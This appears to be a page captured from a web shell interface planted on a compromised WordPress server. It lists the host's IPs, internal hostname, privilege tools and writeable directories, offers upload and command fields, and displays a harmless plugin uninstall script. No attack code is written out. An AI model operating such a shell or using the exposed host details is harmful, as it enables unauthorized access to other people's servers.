403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdev/wp-content/plugins/wordpress-https/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdev/wp-content/plugins/wordpress-https/uninstall.php
<?php

require_once('wordpress-https.php');

if ( !defined('WP_UNINSTALL_PLUGIN') ) {
	die();
}

$options = array(
	'wordpress-https_hosts',
	'wordpress-https_external_urls',
	'wordpress-https_secure_external_urls',
	'wordpress-https_unsecure_external_urls',
	'wordpress-https_ssl_host',
	'wordpress-https_ssl_host_diff',
	'wordpress-https_ssl_port',
	'wordpress-https_exclusive_https',
	'wordpress-https_frontpage',
	'wordpress-https_ssl_login',
	'wordpress-https_ssl_admin',
	'wordpress-https_ssl_proxy',
	'wordpress-https_ssl_host_subdomain',
	'wordpress-https_version',
	'wordpress-https_debug',
	'wordpress-https_admin_menu',
	'wordpress-https_secure_filter',
	'wordpress-https_ssl_host_mapping',
	'wordpress-https_path_cache',
	'wordpress-https_blog_cache',
);

global $wpdb;
if ( is_multisite() && is_network_admin() ) {
	$blogs = $wpdb->get_col("SELECT blog_id FROM {$wpdb->blogs}");
} else {
	$blogs = array($wpdb->blogid);
}

// Delete WordPress HTTPS options
foreach ( $blogs as $blog_id ) {
	foreach( $options as $option ) {
		if ( is_multisite() ) {
			delete_blog_option($blog_id, $option);
		} else {
			delete_option($option);
		}
	}
}

// Delete force_ssl custom_field from posts and pages
delete_metadata('post', null, 'force_ssl', null, true);

Youez - 2016 - github.com/yon3zu
LinuXploit